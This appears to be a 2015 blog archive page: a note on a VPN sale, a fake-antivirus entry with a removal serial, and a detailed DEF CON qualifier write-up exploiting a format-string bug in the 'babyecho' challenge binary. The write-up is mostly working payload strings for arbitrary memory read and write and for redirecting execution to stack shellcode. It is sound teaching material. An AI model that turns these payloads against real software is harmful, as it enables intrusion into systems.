Monthly Archives: May 2015

"Hide My Ass" Comes Out of Hiding


The Internet has a chequered history with the humble ass. Kim Kardashian attempted to “break the Internet” with hers, and now we see VPN service “Hide My Ass” sold for
£40 million to AVG. This subscription driven VPN service is an interesting case study. Many VPN services are surprisingly coy about where they get their revenue, and about why they exist. HMA, on the other hand, are pretty up front: It was started as a way to bypass school filters, and it is subscription based. It’s nice to see the articles finally showing what we’ve long known - these services are, in the main, used for bypassing school or workplace filtering, and not only by oppressed revolutionaries in a far off land. Nor is Hide My Ass a way to avoid the long arm of the law, they have, in the past, given up users’ browsing details under court orders. What of other VPN providers - the “free” ones? Even subscription supported HMA admit freely they use affiliate marketing schemes to help keep the cost of plans down - what are the others doing to support the cost of bandwidth? Selling data, perhaps? For those with client software, they could be inspecting your secure connections! There’s even been cases where proxy/VPN software has inserted malware. Our advice - block ‘em all - and think twice if you are a user attempting to connect to a VPN service. Despite the name, and the youth of its creator, HMA is a pretty grown-up VPN system - the others, well - who knows?
 

Antivirus Pro 2017

Antivirus Pro 2017 is a fake Antivirus tool. It is from the same rogue family as Antivirus Pro 2015, AntiVirus Plus 2014, Smart Security, Internet Security, Privacy Protection, Security Protection, Malware Protection, Spyware Protection, Advanced Security Tool 2010, Security Central, Home Personal Antivirus, XP Deluxe Protector, Win PC Antivirus, Win PC Defender, XP Police Antivirus, IE-Security, WinDefender 2009 and Total Secure 2009.

The rogue detects fake infections and prevents legit softwares execution, displaying alert messages to scare users.



To register (and help removal) enter the following serial with any email: Y65RAW-T87FS1-U2VQF7A

Defcon Quals: babyecho (format string vulns in gory detail)

Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

You can grab the binary here, and you can get my exploit and some other files on this Github repo.

How printf works

Before understanding how a format string vulnerability works, we first have to understand what a format string is. This is a pretty long and detailed section (can you believe I initially wrote "this will be quick" before I got going?), but if you have a decent idea of how the stack and how printf() work, then you can go ahead and skip to the next section.

So... what is a format string exactly? A format string is something you see fairly frequently in code, and looks like this:

printf("The total of %s is %d", str, num);

Essentially, there are a bunch of functions in libc and elsewhere - printf(), sprintf(), and fprintf() to name a few - that require a format string and then 0 or more arguments. In the case of above, the format string is "The total of %s is %d" and the parameters are "str" and "num". The printf() function replaces the %s with the first argument - a pointer to a string - and %d with the second argument - an integer.

To understand how this works, it helps to understand how the stack works. Check out my post on r0pbaby if you want more general information on stacks (this is going to be targeted specifically at how printf() uses it).

Let's jump right in and look at what the assembly version of that code snippit might look like:

push num
push str
push "The total of %s is %d" ; you can't actually do this in assembly
call printf
add esp, 0x0c

Essentially, this code pushes three arguments onto the stack - the same three arguments that you would pass to printf() in C - for a total of 12 bytes (we're assuming x86 here, but x64 works almost identically). Then it calls printf(). After printf() does its thing and returns, 0x0c (12) is added to the stack - essentially removing the three variables that were pushed (three pushes = 12 bytes onto the stack, subtracting 12 = 12 bytes off the stack).

When printf() starts, it doesn't technically know how many arguments it received. Much like when we discuss ROP (return-oriented programming), the important thing is this: when we reach line 1 of printf(), printf() assumes everything is set up properly. It doesn't know how many arguments were passed, and it doesn't know where it was called from - it just knows that it's starting and it's supposed to do its thing, otherwise people will be upset.

So when printf() runs, it grabs the format string from the stack. It looks at how many format specifiers ("%d"/"%s"/etc.) it has, and starts reading them off the stack. It doesn't care if nobody put them there - as far as printf() is concerned, the stack is just a bunch of data, and it can read as far up into the data as it wants (till it hits the end).

So let's say you do this (and I challenge you to find me a C programmer who hasn't at some point):

$ cat > test.c

#include <stdio.h>

int main(int argc, const char *argv[])
{
  printf("%x %x %x\n");

  return 0;
}

Then compile it:

$ make test
cc     test.c   -o test
test.c: In function ‘main’:
test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]

Notice that gcc complains that you're doing it wrong, but they're only warnings! It's perfectly happy to let you try.

Then run the program and marvel at the results:

$ ./test
ffffd9d8 ffffd9e8 40054a

Now where the heck did that come from!?

Well, as I already mentioned, we're reading whatever happened to be on the stack! Let's look at it one more way before we move on: we'll use a stack diagram like we did in r0pbaby to explain things.

Let's say you have a function called func_a(). func_a() might look like this:

int func_a(int param_b, int param_c)
{
  int local_d = 0x123;
  char local_e[12] = "AAAABBBBCCCC";

  printf("%x %x %x %x %x %x %x\n");
}

When func_a() is called by another function, in assembly, it'll look like this:

; In C --> func_a(1000, 10);
push 10
push 1000
call func_a
add esp, 8

and the stack will look like this immediately after the call to func_a() is made (in other words, when it's on the first line of func_a()):

+----------------------+
|...higher addresses...|
+----------------------+
|...data from caller...|
+----------------------+
+----------------------+
|          10          | <-- param_c
+----------------------+
|         1000         | <-- param_b
+----------------------+
|     [return addr]    | <-- esp points here
+----------------------+
+----------------------+
|.....unallocated......|
+----------------------+
|...lower addresses....| <-- other data from previous function
+----------------------+

func_a() will look something like this:

func_a:
  push ebp         ; Back up the old frame pointer
  mov ebp, esp     ; Create the new frame pointer
  sub esp, 0x10    ; Make room for 16 bytes of local vars

  mov [ebp-0x04], 0x123 ; Set a local var to 123
  mov [ebp-0x08], 0x41414141 ; "AAAA"
  mov [ebp-0x0c], 0x42424242 ; "BBBB"
  mov [ebp-0x10], 0x43434343 ; "CCCC"

  ; format_string would be stored elsewhere, like in .data
  push format_string ; "%x %x %x %x %x %x %x\n"
  call printf      ; Call printf
  add esp, 4       ; Remove the format string from the stack

  add esp, 0x10    ; Get rid of the locals from the stack
  pop ebp          ; Restore the previous frame pointer
  ret              ; Return

It's important to note: this is assuming a completely naive compilation, which basically never happens. In reality, a few things would change; for example, local_e may be initialized differently (and likely be padded to 0x10 bytes), plus there will probably be some saved registers taking up space. That being said, the principles won't change - you might just have to mess around with addresses and experiment with the function.

Looking at that code, you might see that the start and the end of the function are more or less mirrors of each other. It starts by saving ebp and making room on the stack, and ends with getting rid of the room and restoring the saved ebp.

What's important, though, is what the stack looks like at the moment we call printf(). This is it:

+----------------------+
|...higher addresses...|
+----------------------+
|...data from caller...|
+----------------------+
+----------------------+
|          10          | <-- param_c
+----------------------+
|         1000         | <-- param_b
+----------------------+
|     [return addr]    |
+----------------------+
|      [saved ebp]     | <-- From the "push ebp"
+----------------------+
|       0x123          | <-- local_d
+----------------------+
|        CCCC          |
|        BBBB          | <-- local_e (12 bytes)
|        AAAA          |        (remember, higher addresses are upwards)
+----------------------+
+----------------------+
|    format_string     | <-- format string was pushed onto the stack
+----------------------+ <-- esp points here
|.....unallocated......|
+----------------------+
|...lower addresses....| <-- other data from previous function
+----------------------+

When printf() is called, its return address is pushed onto the stack, and it does whatever it needs to do with its own local variables. But here's the kicker: it thinks it has arguments on the stack! Here's printf()'s view of the function:

+----------------------+
|...higher addresses...|
+----------------------+
|...data from caller...|
+----------------------+
+----------------------+
|          10          |
+----------------------+
|         1000         | <-- seventh format parameter
+----------------------+
|     [return addr]    | <-- sixth format parameter
+----------------------+
|      [saved ebp]     | <-- fifth format parameter
+----------------------+
|       0x123          | <-- fourth format parameter
+----------------------+
|        CCCC          | <-- third format parameter
|        BBBB          | <-- second format parameter
|        AAAA          | <-- first format parameter
+----------------------+
+----------------------+
|    format_string     | <-- format string was pushed onto the stack
+----------------------+
|     [return addr]    | <-- printf's return address
+----------------------+ <-- esp points somewhere down here
|...lower addresses....| <-- other data from previous function
+----------------------+

So what's printf going to do? It's going to print "0x41414141" ("AAAA"), then "0x42424242" ("BBBB"), then "0x43434343" ("CCCC"), then "0x123", then the saved ebp value, then the return address, then "0x3e8" (1000).

Why's printf() doing that? Because it doesn't know any better. You told it (in the format string) that it has arguments, so it thinks it has arguments!

Just for fun, I decided to try running the program to see how close I was:

$ cat > test.c
#include <stdio.h>

int func_a(int param_b, int param_c)
{
  int local_d = 0x123;
  char local_e[12] = "AAAABBBBCCCC";

  printf("%x %x %x %x %x %x %x\n");
}

int main(int argc, const char *argv[])
{
  func_a(1000, 10);

  return 0;
}
$ make test
cc test.c   -o test
$ ./test
80495e4 fffffc68 80482c8 41414141 42424242 43434343 123

End result: I was closer than I thought I'd be! There are three pointers (it looks like two pointers within the binary and one from the stack, if I had to guess) that come from who-knows-where, but the rest is there. I added five more "%x"s to the string to see if we could get the parameters:

$ ./test
80495f8 fffffc68 80482c8 41414141 42424242 43434343 123 b7fcc304 b7fcbff4 fffffc98 8048412 3e8 a

There we go! We can see 0x3e8 (the first parameter, 1000), 0xa (the second parameter, 10), then 0x8048412 (which will be the return address) and 0xfffffc98 (which will be the saved ebp value). The two unknown values after (0xb7fcbff4 and 0xb7fcc304) are likely saved registers, which I confirmed with objdump:

$ objdump -D -M intel test
[...]
  40054a:       55                      push   rbp
  40054b:       48 89 e5                mov    rbp,rsp
  40054e:       48 83 ec 20             sub    rsp,0x20
  400552:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
  400555:       89 75 e8                mov    DWORD PTR [rbp-0x18],esi
  400558:       c7 45 fc 23 01 00 00    mov    DWORD PTR [rbp-0x4],0x123
[...]

printf() - the important bits

We've seen how to read off the stack with a format-string vulnerability. What else can we do? At this point, we'll switch to the binary from the game for the remainder of the testing.

The game binary is really easy.. it's a pretty standard format string vulnerability:

$ ./babyecho
Reading 13 bytes
hello
hello
Reading 13 bytes
%x
d
Reading 13 bytes
%x %x %x
d a 0
Reading 13 bytes
%x%x%x%x %x
da0d fffff87c

Basically, it's doing printf(attacker_str) - simple, but a vulnerability. The right way to do it is printf("%s", atatcker_str) - that way, attacker_str won't be mistaken for a format string.

The first important bit is that, with just that simple mistake in development, we can crash the binary:

$ ./babyecho
Reading 13 bytes
%s
Segmentation fault (core dumped)

And we can read strings:

Reading 13 bytes
%x%x%x%x %x
da0d fffff87c
$ ./babyecho
Reading 13 bytes
%x%x%x%x %s
da0d %x%x%x%x %s

...confusingly, the string at 0xfffff87c was a pointer to the format string itself.

And, with %n, we can crash another way:

Reading 13 bytes
%x%x%x%x %n
da0d _n

...or can we? It looks like the level filtered out %n! But, of course, we can get around that if we want to:

$ ./babyecho
Reading 13 bytes
%n
_n
Reading 13 bytes
%hn
Segmentation fault (core dumped)

So we have that in our pocket if we need it. Let's talk about %n for a minute...

%n? Who uses that?

If you're a developer, you've most likely seen and used %d and %s. You've probably also seen %x and %p. But have you ever heard of %n?

As far as I can tell, %n was added to printf() specifically to make it possible to exploit format string vulnerabilities. I don't see any other use for it, really.

%n calculates the number of bytes printf() has output so far, and writes it to the appropriate variable. In other words, this:

int a;
printf("%n", &a);

will write 0 to the variable a, because nothing has been output. This code:

int a;
printf("AAAA%n", &a);

will write 4 to the variable a. And this:

printf("%100x%n");

will write the number 100 (%100x outputs a 100-byte hex number whose value is whatever happens to be next on the stack) to the address that happens to be second on the stack (right after the format string). If it's a valid address, it writes to that memory address. If it's an invalid address, it crashes.

Guess what? That's basically an arbitrary memory write. We'll see more later!

Cramming bytes in

Now, let's talk about how we're only allowed 13 bytes for the challenge ("Reading 13 bytes"). 13 bytes isn't enough to do a proper format string exploit in many cases (sometimes it is!). To do a proper exploit, you need to be able to provide an address (4 bytes on 32-bit), %NNx to waste bytes (4-5 more bytes), and then %N$n (another 4-5 bytes). That's a total of 12 bytes in the best case. And, for reasons that'll become abundantly clear, you have to do it four times.

That means we need a way to input longer strings! Thankfully, a 13-byte format string IS long enough to write a single byte to anywhere in memory. We'll do that in the next section, but first I want to introduce another printf() feature that was probably designed for hackers: %123$x.

%123$x means "read the 123rd argument". The idea is that this is inefficient:

printf("The value is %d [0x%02x]\n", value, value);

so instead, you can save 4 bytes of stack memory (otherwise known as approximately 0.0000000125% of my total memory) and a push operation (somewhere around 1 clock cycle on my 3.2mhz machine) by making everything a little more confusing:

printf("The value is %d [0x%1$02x]\n", value);

Seriously, that actually works. You can try it!

The cool thing about that is instead of only being able to access six stack elements ("%x%x%x%x%x%x%"), we can read any variable on the stack! Check out how much space it saves:

Reading 13 bytes
%x%x%x%x %x
da0d ffffc69c
Reading 13 bytes
%5$x
ffffc69c

Starting to build the exploit

Let's write a quick bash script to print off %1$x, %2$x, %3$x, ...etc:

$ for i in `seq 1 200`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep -v Reading | grep -v '0x0$'
1:0xd
2:0xa
4:0xd
5:0xffffc69c
7:0x78303a37
8:0x78243825
135:0xffffc98c
136:0x8048034
138:0x80924d1
139:0x80704fd
140:0xffffc90a
154:0x80ea570
155:0x18
157:0x2710
158:0x14
159:0x3
160:0x28
161:0x3
163:0x38
165:0x5b
167:0x6e
169:0x77
171:0x7c
175:0x80ea540
...

If you run it a second time and any values change, be sure you turn off ASLR. It's totally possible to write an exploit for this challenge that assumes ASLR is on, but it's easier to explain one thing at a time. :)

Arbitrary memory read

The values at offset 7 and 8 are actually interesting.. let's take a quick look at them:

$ ./babyecho
Reading 13 bytes
%7$x
78243725

What's going on here?

It's printing the hex number 0x78243725, which is the 7th thing on the stack. Since it's little endian, that's actually "25 37 24 78" in memory, which, if you know your ASCII, is "%7$x". That looks a bit familiar, eh? The first 4 bytes of the string?

Let's try making the first 4 bytes of the string something more recognizable:

$ ./babyecho
Reading 13 bytes
AAAA -> %7$x
AAAA -> 41414141
Reading 13 bytes
ABCD -> %7$x
ABCD -> 44434241

So it's printing the first 4 bytes of itself! That's extremely important, because if we now change %...x to %...s, we get:

$ ulimit -c unlimited
$ echo -e 'AAAA%7$s' | ./babyecho

Reading 13 bytes
Segmentation fault (core dumped)

...a crash! And if we investigate the crash:

$ gdb -q ./babyecho ./core
Core was generated by `./babyecho'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0807f134 in ?? ()
(gdb) x/i $eip
=> 0x807f134:   repnz scas al,BYTE PTR es:[edi]
(gdb) print/x $edi
$1 = 0x41414141

We determine that it crashed while trying to read edi, which is 0x41414141. And we can use any address we want - for example, I grabbed a random string from IDA - 0x080C1B94 - so let's encode that in little endian and use it:

$ echo -e '\x94\x1b\x0c\x08%7$s' | ./babyecho
Reading 13 bytes
../sysdeps/unix/sysv/linux/getcwd.c

It prints out the string! If I really want to, I can chain together a few:

$ echo -e '\x06\x1d\x0c\x08%7$s\n\x1f\x1d\x0c\x08%7$s\n' | ./babyecho
Reading 13 bytes
buffer overflow detected
Reading 13 bytes
stack smashing detected

It didn't really detect any of those, of course - I'm just printing out those strings for fun :)

Arbitrary memory write

That's an arbitrary memory read. And as a side effect, we've also bypassed ASLR if that's applicable (in this level, it's not really).

Now let's go back to our code that tried to read 0x41414141 ("AAAA%7$s") and change the %..s to a %..n:

$ ulimit -c unlimited
$ echo -e 'AAAA%7$n' | ./babyecho
Reading 13 bytes
Segmentation fault (core dumped)

no surprise there.. let's see what happened:

$ gdb -q ./babyecho ./core
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x08080c2a in ?? ()
(gdb) x/i $eip
=> 0x8080c2a:   mov    DWORD PTR [eax],ecx
(gdb) print/x $eax
$1 = 0x41414141
(gdb) print/x $ecx
$2 = 0x4

So it crashed while trying to write 0x4 - a value we sort of control - into 0x41414141 - a value we totally control.

Of course, writing the value 0x4 every time is boring, but we can change to anything - let's try to make it 0x80:

$ echo -e 'AAAA%124x%7$n' | ./babyecho
Reading 13 bytes
AAAA                                                                                                                           d%
Reading 13 bytes

Reading 13 bytes

Uh oh! What happened?

Unfortunately, that string is one byte too long, which means the %n isn't getting hit. We need to deal with this pesky length problem!

Making it longer

The maximum length for the string is 13 - 0x0d - bytes. Presumably that value is stored on the stack somewhere, and it is:

$ for i in `seq 1 2000`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep ":0xd$"
1:0xd
4:0xd
246:0xd
385:0xd

The problem is, to write that, we need an absolute address. "AAAA%7$n" writes to the address "AAAA", but we need to know which address those 0xd's live at.

There are a lot of different ways to do this, but none of them are particularly nice. One of the easiest ways is to use one of those corefiles from earlier, grab the 'esp' register (the stack pointer), and read upwards from esp till we hit the top of the stack.

The most recent corefile was caused by trying to write to 0x41414141, which is just fine. We're going to basically read everything on the stack at the time it crashed (somewhere in printf()):

(gdb) x/i $eip
=> 0x8080c2a:   mov    DWORD PTR [eax],ecx
(gdb) print/x $esp
$2 = 0xffff9420
(gdb) x/10000xw $esp
0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
...
0xffff9460:     0x00000000      0x0000000d      0x00000000      0x00000000
...
0xffffc690:     0x0000000d      0xffffc69c      0x00000000      0x41414141
0xffffc680:     0xffffc69c      0x0000000d      0x0000000a      0x00000000
...
0xffffca50:     0x00000028      0x00000007      0x0000000d      0x00008000
0xffffdff0:     0x65796261      0x006f6863      0x00000000      0x00000000
0xffffe000:     Cannot access memory at address 0xffffe000

So we have five instances of 0x0000000d:

  • 0xffff9440
  • 0xffff9464
  • 0xffffc684
  • 0xffffc690
  • 0xffffca58

We try modifying each of them using our %n arbitrary write to see what happens:

$ echo -e '\x40\x94\xff\xff%7$n' | ./babyecho
Reading 13 bytes
....
Reading 13 bytes
$ echo -e '\x64\x94\xff\xff%7$n' | ./babyecho
Reading 13 bytes
....
Reading 13 bytes
$ echo -e '\x84\xc6\xff\xff%7$n' | ./babyecho
Reading 13 bytes
....
Reading 13 bytes
$ echo -e '\x90\xc6\xff\xff%7$n' | ./babyecho
Reading 13 bytes
....
Reading 4 bytes

Aha! We were able to overwrite the length value with the integer 4. Obviously we don't want 4, but because of the 13-byte limit the best we can do is 99 more:

$ echo -e '\x90\xc6\xff\xff%99x%7$n' | ./babyecho
Reading 13 bytes
....                                                                                                  d
Reading 103 bytes

or is it? We can actually mess with a different byte. In other words, instead of changing the last byte - 0x000000xx - we change the second last - 0x0000xx00 - which will be at the next address:

$ echo -e '\x91\xc6\xff\xff%99x%7$n' | ./babyecho
Reading 13 bytes
....                                                                                                  d
Reading 1023 bytes

1023 bytes is pretty good! That's plenty of room to build a full exploit.

Controlling eip

The next step is to control eip - the instruction pointer, or the thing that says which instruction needs to run. Once we control eip, we can point it at some shellcode (code that gives us full control).

The easiest way to control eip is to overwrite a return address. As we learned somewhere wayyyyyyy up there, return addresses are stored on the stack the same way the length value was stored. And we can find it the same way - just go to where it crashed and find it.

We'll use the same ol' value to crash it:

$ ulimit -c unlimited
$ echo -e 'AAAA%7$n' | ./babyecho
Reading 13 bytes
Segmentation fault (core dumped)
$ gdb ./babyecho ./core
...
(gdb) bt
#0  0x08080c2a in ?? ()
#1  0x08081bb0 in ?? ()
#2  0x0807d285 in ?? ()
#3  0x0804f580 in ?? ()
#4  0x08049014 in ?? ()
#5  0x0804921a in ?? ()
#6  0x08048d2b in ?? ()

"bt" - or "backtrace" - prints the list of functions that were called to get to where you are. The call stack. If we can find any of those values on the stack, we can overwrite it and win. I arbitrarily chose 0x08081bb0 and found it at 0xffffa054, but it didn't work. Rather than spend a bunch of time troubleshooting, I found 0x0807d285 instead:

(gdb) x/10000xw $esp
0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
...
0xffffc140:     0x080ea200      0x080ea00c      0xffffc658      0x0807d285

It's stored at 0xffffc14c. Let's try changing it to something else:

$ echo -e '\x4c\xc1\xff\xff%7$n' | ./babyecho
Reading 13 bytes
....Segmentation fault (core dumped)
$ gdb -q ./babyecho ./core
Core was generated by `./babyecho'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000004 in ?? ()

We overwrote the return address with 4, just like we'd expect! Let's chain together the two exploits - the one for changing the length and the one for changing the return address (I'm quoting the strings separately to make it more clear, but bash will automatically combine them):

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%10000x%7$n' | ./babyecho
Reading 13 bytes
....                                                                                                  d
Reading 1023 bytes
L...
[...lots of empty space...]
3ffSegmentation fault (core dumped)

$ gdb -q ./babyecho ./core
Core was generated by `./babyecho'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00002714 in ?? ()

0x2714 = 10004 - so we can definitely control the return address!

Writing four bytes

When we're running it locally, we can also go a little crazy:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%1094795581x%7$n' | ./babyecho > /dev/null
segmentation fault
$ gdb -q ./babyecho ./core
Core was generated by `./babyecho'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()

We use %1094795581x to write 0x4141413d bytes to stdout, then %7$n writes 0x41414141 to the return address. The problem is, if we were running that over the network, we'd have to wait for them to send us 1,094,795,581 or so bytes, which is around a gigabyte, so that's probably not going to happen. :)

What we need is to provide four separate addresses. We've been using %7$n all along to access the address identified by the first four bytes of the string:

"AAAA%7$n"

But we can actually do multiple addresses:

"AAAABBBBCCCCDDDD%7$n%8$n%9$n%10$n"

That will try writing to the 7th thing on the stack - 0x41414141. If that succeeds, it'll write to the 8th thing - 0x42424242 - and so on. We can prove that by using %..x instead of %..n:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''AAAABBBBCCCCDDDD << %7$x * %8$x * %9$x * %10$x >>' | ./babyecho
Reading 13 bytes
....                                                                                                  d
Reading 1023 bytes
AAAABBBBCCCCDDDD << 41414141 * 42424242 * 43434343 * 44444444 >>

As expected, the 7th, 8th, 9th, and 10th values on the stack were "AAAA", "BBBB", "CCCC", and "DDDD". If that doesn't make sense, go take a look at func_a(), which was one of my first examples, and which put AAAA, BBBB, and CCCC onto the stack.

Now, since we can write to multiple addresses, instead of doing a single gigabyte of writing, we can do either two or four short writes. I'll do four, since that's more commonly seen. That means we're going to do something like this (once again, I'm adding quotes to make it clear what's happening, they'll disappear):

'\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n'

Breaking it down:

  • The first 16 bytes are the four addresses - 0xffffc14c, 0xffffc14d, 0xffffc14e, and 0xffffc14f. Something interesting to note is that 0xffffc150 - 0xffffc152 will also get overwritten, but we aren't going to worry about those
  • "%49x" will output 49 bytes. This is simply to pad our string to a total of 65 - 0x41 - bytes (49 bytes here + 16 bytes worth of addresses)
  • "%7$n" will write the value 0x41 - the number of bytes that have so far been printed - to the first of the four addresses, which is 0x41414141 ("AAAA")
  • "%8$n" will write 0x41 - still the number of printed bytes so far - to the second address, 0x42424242
  • "%9$n" and "%10$n" do exactly the same thing to 0x43434343 and 0x44444444

Let's give it a shot (I'm going to start redirecting to /dev/null, because we really don't need to see the crap being printed anymore):

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n' | ./babyecho > /dev/null
Segmentation fault (core dumped)
$ gdb -q ./babyecho ./core
Reading symbols from ./babyecho...(no debugging symbols found)...done.
[New LWP 2662]
Core was generated by `./babyecho'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()

Sweet! It worked!

What happens if we want to write four different bytes? Let's say we want 0x41424344...

In memory, 0x41424344 is "44 43 42 41". That means we have to write 44, then 43, then 42, then 41.

0x44 is easy. We know we're writing 16 bytes worth of addresses. To go from 16 to 0x44 (68) is 52 bytes. So we put "%52x%7$n" and our return address looks like this:

?? ?? ?? ?? [44 00 00 00] ?? ?? ?? ??

Next, we want to write 0x43 to the next address. We've already output 0x44 bytes, so to output a total of 0x43 bytes, we'll have to wrap around. 0x44 + 0xff (255) = 0x0143. So if we use "%255x%8$n", we'll write 0x0143 to the next address, which will give us the following:

?? ?? ?? ?? [44 43 01 00] 00 ?? ?? ??

Two things stick out here: first, there's a 0x01 that shouldn't be there. But that'll get overwritten so it doesn't matter. The second is that we've now written one byte *past* our address. That means we're killing a legitimate variable, which may cause problems down the road. Luckily, in this level it doesn't matter - sucks to be that variable!

All right, so we've done 0x44 and 0x43. Now we want 0x42. To go from 0x43 to 0x42 is once again 0xff (255) bytes, so we can do almost the same thing: "%255x%9$n". That'll make the total number of bytes printed 0x0242, and will make our return address:

?? ?? ?? ?? [44 43 42 02] 00 00 ?? ??

Finally, to go from 0x42 to 0x41, we need another 255 bytes, so we do the same thing one last time: "%255x%10$n", and our return address is now:

?? ?? ?? ?? [44 43 42 41] 03 00 00 ??

Putting that all together, we get:

'\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n'

We prepend our length-changer onto the front, and give it a whirl:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n' | ./babyecho > /dev/null
Segmentation fault (core dumped)
$ gdb -q ./babyecho ./core
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41424344 in ?? ()

I'm happy to report that I'm doing this all by hand to write the blog, and I got that working on my first try. :)

A quick word of warning: if you're trying to jump to an address like 0x44434241, you have to write "41 42 43 44" to memory. To write the 0x41, as usual you'll want to use %49x%7$n. That means that 65 (0x41) bytes have been output so far. To then output 0x42, you need one more byte written. The problem is that %1x can output anything between 1 and 8 bytes, because it won't truncate the output. You have to use either "%257x" or just a single byte, like "A". I fought with that problem for quite some time during this level...

Let's summarize what we've done...

I feel like I've written a lot. According to my editor, I'm at 708 lines right now. And it's all pretty crazy!

So here's a summary of where we are before we get to the last step...

  • We used %n and a static address to change the max length of the input string
  • We gave it four addresses to edit, which wind up on the stack (see func_a)
  • We use %NNx, where NN = the number of bytes we want to waste, to ensure %n writes the proper value
  • We use %7$n to write to the first address, %8$n to write to the second address, %9$n to write to the third address, and %10$n to write to the fourth, with a %NNx between each of them to make sure we waste the appropriate number of bytes

And now for the final step...

Going somewhere useful

For the last part, instead of jumping to 0x41414141 or 0x41424344, we're going to jump to some shellcode. Shellcode is, basically, "code that spawns a shell". I normally wind up Googling for the exact shellcode I want, like "32-bit Linux connect back shellcode", and grabbing something that looks legit. That's not exactly a great practice in general, because who knows what kind of backdoors there are, but for a CTF it's not a big deal (to me, at least :) ).

Before we worry about shellcode, though, we have to figure out where to stash it!

It turns out, for this level, the stack is executable. That makes life easy - I wrote an exploit that ROPed to mprotect() to make it executable before running the shellcode, then realized that was totally unnecessary.

Since we can access the buffer with "%x" in the format string, it means the buffer is definitely on the stack somewhere. That means we can find it exactly like we found everything else - open up the corefile and start looking at the stack pointer (esp).

Let's use the same exploit as we just used to crash it, but this time we'll put some text after that we can search for:

$ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n''AAAAAAAAAAAAAAAAAAAAAAAAAA' | ./babyecho > /dev/null
Segmentation fault (core dumped)

$ gdb -q ./babyecho ./core
#0  0x41424344 in ?? ()
(gdb) x/10000xw $esp
0xffffc150:     0x00000003      0x00000000      0x00000000      0x00000000
0xffffc160:     0x00000000      0x00000000      0x00000000      0x00000000
...
0xffffc6c0:     0x39257835      0x32256e24      0x25783535      0x6e243031
0xffffc6d0:     0x41414141      0x41414141      0x41414141      0x41414141

There we go! The shellcode is stored at 0xffffc6d0!

That means we need to write "d0 c6 ff ff" to the return address.

We start, as always, by writing our 16 bytes worth of addresses: '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff' - that's the offset each of the 4 bytes of the return address.

The first byte we want to write to the return address is 0xd0 (208), which means that after the 16 bytes of addresses we need an additional 208 - 16 = 192 bytes: '%192x%7$n'

The second byte of our shellcode offset is 0xc6. To go from 0xd0 to 0xc6 we have to wrap around by adding 246 bytes (0xd0 + 246 = 0x01c6): '%246x%8$n'

The third byte is 0xff. 0xff - 0xc6 = 57: '%57x%9$n'

The fourth byte is also 0xff, which means we can either do %256x or just nothing: '%10$n'.

Putting it all together, we have:

'\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n'"$SHELLCODE"

We have one small problem, though: when we calculated the address of the shellcode earlier, we didn't take into account the fact that we were going to wind up changing the format string. Because we changed it, buffer is going to be in a slightly different place. We'll solve that the easy way and just pad it with NOPs (no operation - 0x90):

'\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"$SHELLCODE"

Now, let's make sure all that's working by using either "\xcd\x03" or "\xcc" as shellcode. These both refer to a debug breakpoint and are really easy to see:

